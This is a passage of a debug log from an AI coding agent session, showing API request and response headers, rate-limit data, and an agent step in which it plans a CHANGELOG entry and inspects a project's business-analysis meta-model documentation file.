1 file changed, 1 insertion(+), 1 deletion(-)\\n1317162 ci: execute GigaCode BA guides on Windows PowerShell 5.1 and 7 (#638)\\n CHANGELOG.md | 2 +-\\n 1 file changed, 1 insertion(+), 1 deletion(-)\\n54a17a3 docs(changelog): note GigaCode guide cluster (#638)\\n CHANGELOG.md | 1 +\\n 1 file changed, 1 insertion(+)\\n397afed docs(education): explain Cline MCP and validation boundaries\\n ops/artifact-map.md | 5 +++--\\n 1 file changed, 3 insertions(+), 2 deletions(-)\",\n[2026-09-29T07:59:55.471Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:59:55.471Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:59:55.471Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:59:55.471Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:59:55.471Z] [INFO]   }\n[2026-09-29T07:59:55.471Z] [INFO] }\n[2026-09-29T07:59:55.538Z] [STDOUT] [log_aab387] sending request {\n[2026-09-29T07:59:55.544Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:59:55.551Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:59:55.560Z] [STDOUT]   options: {\n[2026-09-29T07:59:55.563Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:59:55.567Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:59:55.573Z] [STDOUT]     body: {\n[2026-09-29T07:59:55.578Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:59:55.583Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:59:55.601Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:59:55.605Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:59:55.609Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:59:55.613Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:59:55.617Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:59:55.622Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:59:55.629Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:59:55.634Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:59:55.638Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:59:55.645Z] [STDOUT]       stream: true,\n[2026-09-29T07:59:55.658Z] [STDOUT]     },\n[2026-09-29T07:59:55.664Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:59:55.667Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:59:55.678Z] [STDOUT]       aborted: false,\n[2026-09-29T07:59:55.690Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:59:55.702Z] [STDOUT]       onabort: null,\n[2026-09-29T07:59:55.710Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:59:55.712Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:59:55.719Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:59:55.722Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:59:55.725Z] [STDOUT]     },\n[2026-09-29T07:59:55.732Z] [STDOUT]     stream: true,\n[2026-09-29T07:59:55.735Z] [STDOUT]   },\n[2026-09-29T07:59:55.745Z] [STDOUT]   headers: {\n[2026-09-29T07:59:55.752Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:59:55.756Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:59:55.763Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:59:55.770Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:59:55.777Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:59:55.784Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:59:55.790Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:59:55.796Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:59:55.800Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:59:55.806Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Edit=144;Bash=2089\",\n[2026-09-29T07:59:55.813Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:59:55.820Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:59:55.826Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:55.830Z] [STDOUT]     \"x-client-request-id\": \"efe4cb07-e887-459e-a866-f923373fdbf1\",\n[2026-09-29T07:59:55.842Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:59:55.848Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:59:55.855Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:59:55.860Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:59:55.869Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:59:55.880Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:59:55.889Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:59:55.895Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:59:55.902Z] [STDOUT]   },\n[2026-09-29T07:59:55.907Z] [STDOUT] }\n[2026-09-29T07:59:56.363Z] [STDOUT] [log_aab387, request-id: \"req_011CfXNrwor3NjCbisWoeN8D\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 824ms\n[2026-09-29T07:59:56.369Z] [STDOUT] [log_aab387] response start {\n[2026-09-29T07:59:56.381Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:59:56.383Z] [STDOUT]   status: 200,\n[2026-09-29T07:59:56.385Z] [STDOUT]   headers: {\n[2026-09-29T07:59:56.387Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:59:56.390Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:59:56.395Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:59:56.397Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.44\",\n[2026-09-29T07:59:56.403Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:59:56.410Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:59:56.417Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:59:56.425Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T07:59:56.430Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:59:56.434Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:59:56.441Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:59:56.445Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:59:56.448Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:59:56.452Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:59:56.455Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:59:56.459Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:59:56.462Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:59:56.467Z] [STDOUT]     \"cf-ray\": \"a42973843cc35d90-FRA\",\n[2026-09-29T07:59:56.470Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:59:56.472Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:59:56.475Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:59:56.477Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:59:56.480Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:59:56 GMT\",\n[2026-09-29T07:59:56.483Z] [STDOUT]     \"request-id\": \"req_011CfXNrwor3NjCbisWoeN8D\",\n[2026-09-29T07:59:56.486Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:59:56.489Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:59:56.492Z] [STDOUT]     traceresponse: \"00-02e3fc1062d80196fea95a95fe18ff62-a151941865364282-01\",\n[2026-09-29T07:59:56.495Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:59:56.498Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:59:56.501Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:59:56.504Z] [STDOUT]   },\n[2026-09-29T07:59:56.509Z] [STDOUT]   durationMs: 824,\n[2026-09-29T07:59:56.512Z] [STDOUT] }\n[2026-09-29T07:59:56.515Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:59:56.519Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:59:56 GMT\",\n[2026-09-29T07:59:56.523Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:59:56.525Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:59:56.529Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:59:56.532Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:59:56.536Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:59:56.540Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:59:56.542Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:59:56.546Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:59:56.551Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:59:56.555Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:59:56.559Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:59:56.561Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:59:56.564Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.44\",\n[2026-09-29T07:59:56.568Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:59:56.572Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:59:56.576Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:59:56.579Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:59:56.583Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:59:56.588Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:59:56.593Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T07:59:56.602Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:59:56.605Z] [STDOUT]   \"request-id\": \"req_011CfXNrwor3NjCbisWoeN8D\",\n[2026-09-29T07:59:56.608Z] [STDOUT]   \"traceresponse\": \"00-02e3fc1062d80196fea95a95fe18ff62-a151941865364282-01\",\n[2026-09-29T07:59:56.611Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:59:56.615Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:59:56.619Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:59:56.624Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:59:56.628Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:59:56.631Z] [STDOUT]   \"cf-ray\": \"a42973843cc35d90-FRA\",\n[2026-09-29T07:59:56.634Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:59:56.636Z] [STDOUT] [log_aab387] response parsed {\n[2026-09-29T07:59:56.639Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:59:56.642Z] [STDOUT]   status: 200,\n[2026-09-29T07:59:56.645Z] [STDOUT]   body: X {\n[2026-09-29T07:59:56.647Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:59:56.650Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:59:56.652Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:59:56.655Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:59:56.665Z] [STDOUT]     },\n[2026-09-29T07:59:56.668Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:59:56.673Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:59:56.674Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:59:56.676Z] [STDOUT]   },\n[2026-09-29T07:59:56.678Z] [STDOUT]   durationMs: 825,\n[2026-09-29T07:59:56.681Z] [STDOUT] }\n[2026-09-29T07:59:56.902Z] [INFO] {\n[2026-09-29T07:59:56.902Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:59:56.902Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:59:56.902Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:59:56.902Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:59:56.902Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:56.902Z] [INFO]   \"uuid\": \"ceb9000d-4c75-4197-8383-29b5c00f4966\"\n[2026-09-29T07:59:56.902Z] [INFO] }\n[2026-09-29T07:59:58.046Z] [INFO] {\n[2026-09-29T07:59:58.046Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:59:58.046Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:59:58.046Z] [INFO]   \"estimated_tokens\": 150,\n[2026-09-29T07:59:58.046Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:59:58.046Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:58.046Z] [INFO]   \"uuid\": \"77fd59d3-bacc-4b56-a986-bb0950c6200f\"\n[2026-09-29T07:59:58.046Z] [INFO] }\n[2026-09-29T07:59:59.864Z] [INFO] {\n[2026-09-29T07:59:59.864Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:59:59.864Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:59:59.864Z] [INFO]   \"estimated_tokens\": 270,\n[2026-09-29T07:59:59.864Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:59:59.864Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:59.864Z] [INFO]   \"uuid\": \"49525bd5-f6df-4b7f-8a78-d258d7ae38c6\"\n[2026-09-29T07:59:59.864Z] [INFO] }\n[2026-09-29T07:59:59.880Z] [INFO] {\n[2026-09-29T07:59:59.880Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:59:59.880Z] [INFO]   \"message\": {\n[2026-09-29T07:59:59.880Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:59:59.880Z] [INFO]     \"id\": \"msg_011CfXNrxDQ5SavNKEQf2c1t\",\n[2026-09-29T07:59:59.880Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:59:59.880Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:59:59.880Z] [INFO]     \"content\": [\n[2026-09-29T07:59:59.880Z] [INFO]       {\n[2026-09-29T07:59:59.880Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:59:59.880Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:59:59.880Z] [INFO]         \"signature\": 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[INFO] {\n[2026-09-29T07:59:59.948Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:59:59.948Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:59:59.948Z] [INFO]   \"estimated_tokens\": 25,\n[2026-09-29T07:59:59.948Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:59:59.948Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:59.948Z] [INFO]   \"uuid\": \"4f36bfaf-376f-4c8b-876e-4e7ba8418886\"\n[2026-09-29T07:59:59.948Z] [INFO] }\n[2026-09-29T07:59:59.956Z] [INFO] {\n[2026-09-29T07:59:59.956Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:59:59.956Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:59:59.956Z] [INFO]   \"estimated_tokens\": 28,\n[2026-09-29T07:59:59.956Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:59:59.956Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:59.956Z] [INFO]   \"uuid\": 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52,\n[2026-09-29T08:00:00.039Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T08:00:00.039Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:00:00.039Z] [INFO]   \"uuid\": \"95596abe-41c7-4efe-b408-aa646cd37067\"\n[2026-09-29T08:00:00.039Z] [INFO] }\n[2026-09-29T08:00:00.050Z] [INFO] {\n[2026-09-29T08:00:00.050Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:00:00.050Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T08:00:00.050Z] [INFO]   \"estimated_tokens\": 53,\n[2026-09-29T08:00:00.050Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T08:00:00.050Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:00:00.050Z] [INFO]   \"uuid\": \"3e64d9fd-fbc8-4569-bb9a-087e6adbbf1a\"\n[2026-09-29T08:00:00.050Z] [INFO] }\n[2026-09-29T08:00:00.061Z] [INFO] {\n[2026-09-29T08:00:00.061Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:00:00.061Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T08:00:00.061Z] [INFO]   \"estimated_tokens\": 212,\n[2026-09-29T08:00:00.061Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T08:00:00.061Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:00:00.061Z] [INFO]   \"uuid\": \"fa8996cf-c4dd-4d0d-aca9-e34ab019c8ea\"\n[2026-09-29T08:00:00.061Z] [INFO] }\n[2026-09-29T08:00:00.069Z] [INFO] {\n[2026-09-29T08:00:00.069Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:00:00.069Z] [INFO]   \"message\": {\n[2026-09-29T08:00:00.069Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:00:00.069Z] [INFO]     \"id\": \"msg_011CfXNrxDQ5SavNKEQf2c1t\",\n[2026-09-29T08:00:00.069Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:00:00.069Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:00:00.069Z] [INFO]     \"content\": [\n[2026-09-29T08:00:00.069Z] [INFO]       {\n[2026-09-29T08:00:00.069Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T08:00:00.069Z] [INFO]         \"thinking\": \"I'll add a CHANGELOG entry matching the existing style, leave `ops/artifact-map.md` unchanged since it doesn't index project `docs/` files, and check `docs/ba-meta-model-overview.md` for overlap.\\n\\n\",\n[2026-09-29T08:00:00.069Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T08:00:00.069Z] [INFO]     ],\n[2026-09-29T08:00:00.069Z] [INFO]     \"container\": null,\n[2026-09-29T08:00:00.069Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:00:00.069Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:00:00.069Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:00:00.069Z] [INFO]     \"usage\": {\n[2026-09-29T08:00:00.069Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:00:00.069Z] [INFO]       \"cache_creation_input_tokens\": 9216,\n[2026-09-29T08:00:00.069Z] [INFO]       \"cache_read_input_tokens\": 67933,\n[2026-09-29T08:00:00.069Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:00:00.069Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:00:00.069Z] [INFO]         \"ephemeral_1h_input_tokens\": 9216\n[2026-09-29T08:00:00.069Z] [INFO]       },\n[2026-09-29T08:00:00.069Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T08:00:00.069Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:00:00.069Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:00:00.069Z] [INFO]     },\n[2026-09-29T08:00:00.069Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:00:00.069Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:00:00.069Z] [INFO]     \"context_management\": null\n[2026-09-29T08:00:00.069Z] [INFO]   },\n[2026-09-29T08:00:00.069Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:00:00.069Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:00:00.069Z] [INFO]   \"uuid\": \"2832784a-3ae1-4e9f-b82f-5fdf528f94be\",\n[2026-09-29T08:00:00.069Z] [INFO]   \"timestamp\": \"2026-09-29T07:59:59.906Z\",\n[2026-09-29T08:00:00.069Z] [INFO]   \"request_id\": \"req_011CfXNrwor3NjCbisWoeN8D\",\n[2026-09-29T08:00:00.069Z] [INFO]   \"narration_block_indexes\": [\n[2026-09-29T08:00:00.069Z] [INFO]     0\n[2026-09-29T08:00:00.069Z] [INFO]   ]\n[2026-09-29T08:00:00.069Z] [INFO] }\n[2026-09-29T08:00:00.499Z] [INFO] {\n[2026-09-29T08:00:00.499Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:00:00.499Z] [INFO]   \"message\": {\n[2026-09-29T08:00:00.499Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:00:00.499Z] [INFO]     \"id\": \"msg_011CfXNrxDQ5SavNKEQf2c1t\",\n[2026-09-29T08:00:00.499Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:00:00.499Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:00:00.499Z] [INFO]     \"content\": [\n[2026-09-29T08:00:00.499Z] [INFO]       {\n[2026-09-29T08:00:00.499Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T08:00:00.499Z] [INFO]         \"id\": \"toolu_016w14bSHfNfQhUiLJ6pbjvY\",\n[2026-09-29T08:00:00.499Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T08:00:00.499Z] [INFO]         \"input\": {\n[2026-09-29T08:00:00.499Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; head -12 docs/ba-meta-model-overview.md; wc -l docs/ba-meta-model-overview.md; grep -n '^#' docs/ba-meta-model-overview.md | head -20; cat /tmp/tep.log 2>/dev/null | tail -3\",\n[2026-09-29T08:00:00.499Z] [INFO]           \"description\": \"Inspect existing meta-model overview document\"\n[2026-09-29T08:00:00.499Z] [INFO]         },\n[2026-09-29T08:00:00.499Z] [INFO]         \"caller\": {\n[2026-09-29T08:00:00.499Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T08:00:00.499Z] [INFO]         }\n[2026-09-29T08:00:00.499Z] [INFO]       }\n[2026-09-29T08:00:00.499Z] [INFO]     ],\n[2026-09-29T08:00:00.499Z] [INFO]     \"container\": null,\n[2026-09-29T08:00:00.499Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:00:00.499Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:00:00.499Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:00:00.499Z] [INFO]     \"usage\": {\n[2026-09-29T08:00:00.499Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:00:00.499Z] [INFO]       \"cache_creation_input_tokens\": 9216,\n[2026-09-29T08:00:00.499Z] [INFO]       \"cache_read_input_tokens\": 67933,\n[2026-09-29T08:00:00.499Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:00:00.499Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:00:00.499Z] [INFO]         \"ephemeral_1h_input_tokens\": 9216\n[2026-09-29T08:00:00.499Z] [INFO]       },\n[2026-09-29T08:00:00.499Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T08:00:00.499Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:00:00.499Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:00:00.499Z] [INFO]     },\n[2026-09-29T08:00:00.499Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:00:00.499Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:00:00.499Z] [INFO]     \"context_management\": null\n[2026-09-29T08:00:00.499Z] [INFO]   },\n[2026-09-29T08:00:00.499Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:00:00.499Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:00:00.499Z] [INFO]   \"uuid\": \"bade5a4b-2b8e-4f48-abeb-a1c3d9f6706e\",\n[2026-09-29T08:00:00.499Z] [INFO]   \"timestamp\": \"2026-09-29T08:00:00.446Z\",\n[2026-09-29T08:00:00.499Z] [INFO]   \"request_id\": \"req_011CfXNrwor3NjCbisWoeN8D\",\n[2026-09-29T08:00:00.499Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T08:00:00.499Z] [INFO]     \"toolu_016w14bSHfNfQhUiLJ6pbjvY\": {\n[2026-09-29T08:00:00.499Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; head -12 docs/ba-meta-model-overview.md; wc -l docs/ba-meta-model-overview.md; grep -n '^#' docs/ba-meta-model-overview.md | head -20; cat /tmp/tep.log 2>/dev/null | tail -3\",\n[2026-09-29T08:00:00.499Z] [INFO]       \"description\": \"Inspect existing meta-model overview document\"\n[2026-09-29T08:00:00.499Z] [INFO]     }\n[2026-09-29T08:00:00.499Z] [INFO]   }\n[2026-09-29T08:00:00.499Z] [INFO] }\n[2026-09-29T08:00:03.445Z] [INFO] {\n[2026-09-29T08:00:03.445Z] [INFO]   \"type\": \"user\",\n[2026-09-29T08:00:03.445Z] [INFO]   \"message\": {\n[2026-09-29T08:00:03.445Z] [INFO]     \"role\": \"user\",\n[2026-09-29T08:00:03.445Z] [INFO]     \"content\": [\n[2026-09-29T08:00:03.445Z] [INFO]       {\n[2026-09-29T08:00:03.445Z] [INFO]         \"tool_use_id\": \"toolu_016w14bSHfNfQhUiLJ6pbjvY\",\n[2026-09-29T08:00:03.445Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T08:00:03.445Z] [INFO]         \"content\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-09\\ntemperature: 0.3\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0411\u0410: 